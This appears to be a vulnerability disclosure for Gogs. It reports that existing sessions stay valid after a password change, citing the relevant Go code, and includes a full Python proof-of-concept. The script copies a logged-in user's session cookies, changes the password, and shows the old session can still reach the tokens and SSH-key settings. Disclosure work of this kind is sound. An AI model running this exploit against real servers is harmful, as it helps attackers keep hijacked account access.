Skip to content

Latest commit

 

History

History
347 lines (278 loc) · 12 KB

File metadata and controls

347 lines (278 loc) · 12 KB

Session Not Invalidated After Password Change

Summary

After the password is changed, the old session is not forcibly invalidated. As a result, the session token obtained by the attacker can still be used after the password change, making it impossible to completely regain control of the account.


Details

SINK

File internal/database/users.go
Line 936
Function Update
if opts.Password != nil {
	salt, err := userutil.RandomSalt()
	if err != nil {
		return errors.Wrap(err, "generate salt")
	}
	updates["salt"] = salt
	updates["passwd"] = userutil.EncodePassword(*opts.Password, salt)
	opts.GenerateNewRands = true
}
if opts.GenerateNewRands {
	rands, err := userutil.RandomSalt()
	if err != nil {
		return errors.Wrap(err, "generate rands")
	}
	updates["rands"] = rands
}

SOURCE

File internal/route/user/setting.go
Line 198
Endpoint POST /user/settings/password
func SettingsPasswordPost(c *context.Context, f form.ChangePassword) {
	c.Title("settings.password")
	c.PageIs("SettingsPassword")

	if c.HasError() {
		c.HTML(http.StatusBadRequest, tmplUserSettingsPassword)
		return
	}

	if !userutil.ValidatePassword(c.User.Password, c.User.Salt, f.OldPassword) {
		c.Flash.Error(c.Tr("settings.password_incorrect"))

PoC

#!/usr/bin/env python3
"""
VULN-007: Session Not Invalidated After Password Change
========================================================

VERIFIED: 2026-03-11

Severity: High
CVSS 3.1: 7.1 - AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:N
CWE-613: Insufficient Session Expiration

Vulnerability:
  When a user changes their password, existing sessions are NOT invalidated.
  This means an attacker who has obtained a valid session (via XSS, session
  hijacking, network sniffing, etc.) can continue to use it indefinitely
  even after the legitimate user changes their password.

Attack Scenario:
  1. Attacker steals victim's session cookie (XSS, MITM, malware, etc.)
  2. Victim notices suspicious activity and changes their password
  3. Attacker's session remains valid - password change is ineffective
  4. Attacker maintains persistent access to victim's account

Impact:
  - Stolen sessions cannot be revoked by password change
  - Users have no effective way to kick out attackers
  - Compromised sessions remain valid until natural expiration

Proof of Concept:
  1. Login as user, copy session cookie
  2. Change password
  3. Use old session cookie to access protected resources
  4. Old session still works - vulnerability confirmed

Author: Security Audit Team
Date: 2026-03-11
"""

import requests
import sys
import re
import json
import argparse
from datetime import datetime


class SessionPersistenceExploit:
    """Session persistence after password change exploit."""

    def __init__(self, base_url: str, verbose: bool = True):
        self.base_url = base_url.rstrip('/')
        self.verbose = verbose
        self.victim_session = requests.Session()
        self.attacker_session = requests.Session()

    def log(self, message: str, level: str = "INFO"):
        if self.verbose:
            timestamp = datetime.now().strftime("%H:%M:%S.%f")[:-3]
            symbols = {"INFO": "[*]", "SUCCESS": "[+]", "FAIL": "[-]", "ERROR": "[!]", "WARN": "[~]"}
            print(f"{timestamp} {symbols.get(level, '[*]')} {message}")

    def extract_csrf(self, html: str) -> str:
        match = re.search(r'name="_csrf"\s*value="([^"]+)"', html)
        return match.group(1) if match else ""

    def login(self, session: requests.Session, username: str, password: str) -> bool:
        """Login and return success status."""
        try:
            resp = session.get(f"{self.base_url}/user/login", timeout=10)
            csrf = self.extract_csrf(resp.text)
            if not csrf:
                return False

            resp = session.post(
                f"{self.base_url}/user/login",
                data={"_csrf": csrf, "user_name": username, "password": password},
                allow_redirects=True,
                timeout=10
            )

            return "Sign Out" in resp.text
        except Exception:
            return False

    def check_session_valid(self, session: requests.Session) -> dict:
        """Check if session is valid and what access it has."""
        result = {"valid": False, "username": None, "accessible": []}

        try:
            resp = session.get(f"{self.base_url}/user/settings", timeout=10, allow_redirects=False)

            if resp.status_code == 200 or (resp.status_code == 302 and "login" not in resp.headers.get("Location", "")):
                # Follow redirect if needed
                if resp.status_code == 302:
                    resp = session.get(f"{self.base_url}/user/settings", timeout=10)

                if "Sign Out" in resp.text:
                    result["valid"] = True

                    # Extract username
                    match = re.search(r'Signed in as <strong>([^<]+)</strong>', resp.text)
                    if match:
                        result["username"] = match.group(1)

                    # Check accessible endpoints
                    endpoints = [
                        ("/user/settings", "Profile"),
                        ("/user/settings/security", "Security"),
                        ("/user/settings/applications", "Tokens"),
                        ("/user/settings/ssh", "SSH Keys"),
                    ]

                    for path, name in endpoints:
                        try:
                            r = session.get(f"{self.base_url}{path}", timeout=5)
                            if r.status_code == 200 and "Sign Out" in r.text:
                                result["accessible"].append(name)
                        except:
                            pass

        except Exception:
            pass

        return result

    def change_password(self, session: requests.Session, old_pwd: str, new_pwd: str) -> bool:
        """Change password using given session."""
        try:
            resp = session.get(f"{self.base_url}/user/settings/password", timeout=10)
            csrf = self.extract_csrf(resp.text)
            if not csrf:
                return False

            resp = session.post(
                f"{self.base_url}/user/settings/password",
                data={
                    "_csrf": csrf,
                    "old_password": old_pwd,
                    "password": new_pwd,
                    "retype": new_pwd
                },
                timeout=10
            )

            # Check for success (no error message)
            return resp.status_code == 200 and "error" not in resp.text.lower()
        except Exception:
            return False

    def run_exploit(self, username: str, password: str) -> dict:
        """Run full session persistence exploit."""
        result = {
            "vulnerable": False,
            "target": self.base_url,
            "vuln_id": "VULN-007",
            "vuln_name": "Session Not Invalidated After Password Change",
            "severity": "High",
            "evidence": {},
            "error": None,
        }

        new_password = password + "_changed"

        print("\n" + "=" * 60)
        print("VULN-007: Session Persistence After Password Change")
        print("=" * 60)
        print(f"Target: {self.base_url}")
        print(f"User: {username}")
        print("=" * 60 + "\n")

        # Step 1: Login as victim
        self.log("Step 1: Victim logs in...", "INFO")
        if not self.login(self.victim_session, username, password):
            self.log("Login failed - check credentials", "ERROR")
            result["error"] = "Login failed"
            return result
        self.log("Victim logged in successfully", "SUCCESS")

        # Step 2: Attacker steals session (copy cookies)
        self.log("\nStep 2: Attacker steals session cookie...", "INFO")
        victim_cookies = self.victim_session.cookies.get_dict()
        for name, value in victim_cookies.items():
            self.attacker_session.cookies.set(name, value)
            self.log(f"  Copied cookie: {name}={value[:20]}...", "INFO")

        # Verify attacker session works
        attacker_check = self.check_session_valid(self.attacker_session)
        if attacker_check["valid"]:
            self.log(f"Attacker session valid as: {attacker_check['username']}", "SUCCESS")
            result["evidence"]["pre_change_attacker_session"] = attacker_check
        else:
            self.log("Attacker session copy failed", "ERROR")
            result["error"] = "Session copy failed"
            return result

        # Step 3: Victim changes password
        self.log("\nStep 3: Victim changes password...", "INFO")
        if not self.change_password(self.victim_session, password, new_password):
            self.log("Password change failed", "ERROR")
            result["error"] = "Password change failed"
            return result
        self.log(f"Password changed: {password} -> {new_password}", "SUCCESS")

        # Step 4: Test if attacker session is still valid
        self.log("\nStep 4: Testing attacker's old session...", "INFO")
        attacker_check_after = self.check_session_valid(self.attacker_session)

        result["evidence"]["post_change_attacker_session"] = attacker_check_after

        if attacker_check_after["valid"]:
            result["vulnerable"] = True
            self.log("ATTACKER SESSION STILL VALID!", "SUCCESS")
            self.log(f"  Username: {attacker_check_after['username']}", "INFO")
            self.log(f"  Accessible: {attacker_check_after['accessible']}", "INFO")

            # Demonstrate what attacker can still do
            self.log("\nDemonstrating persistent access:", "INFO")
            for endpoint in attacker_check_after["accessible"]:
                self.log(f"  ✓ Can access: {endpoint}", "SUCCESS")
        else:
            self.log("Attacker session was invalidated (secure behavior)", "INFO")

        # Cleanup: Restore original password
        self.log("\nCleanup: Restoring original password...", "INFO")
        if self.change_password(self.victim_session, new_password, password):
            self.log("Password restored", "SUCCESS")
        else:
            self.log(f"Failed to restore password. New password is: {new_password}", "WARN")

        # Summary
        print("\n" + "=" * 60)
        if result["vulnerable"]:
            print("VULNERABILITY CONFIRMED!")
            print("=" * 60)
            self.log("Session persists after password change", "SUCCESS")
            self.log("Attacker maintains access even after victim changes password", "INFO")
        else:
            print("NOT VULNERABLE")
            print("=" * 60)
            self.log("Session properly invalidated after password change", "INFO")

        return result


def main():
    parser = argparse.ArgumentParser(
        description="VULN-007: Session Persistence After Password Change PoC",
        formatter_class=argparse.RawDescriptionHelpFormatter,
        epilog="""
Example:
  python3 poc_VULN_007_session_persistence.py http://localhost:3000 -u user -p pass

Attack Scenario:
  1. Attacker steals victim's session cookie (XSS, MITM, etc.)
  2. Victim discovers compromise and changes password
  3. Attacker's session remains valid - can still access account
        """
    )

    parser.add_argument('target_url', help='Target Gogs URL')
    parser.add_argument('-u', '--username', required=True, help='Username')
    parser.add_argument('-p', '--password', required=True, help='Password')
    parser.add_argument('-q', '--quiet', action='store_true', help='Quiet mode')

    args = parser.parse_args()

    exploit = SessionPersistenceExploit(args.target_url, verbose=not args.quiet)
    result = exploit.run_exploit(args.username, args.password)

    print("\n" + "=" * 60)
    print("RESULT SUMMARY")
    print("=" * 60)
    print(json.dumps(result, indent=2, ensure_ascii=False))

    sys.exit(0 if result["vulnerable"] else 1)


if __name__ == "__main__":
    main()

Impact

image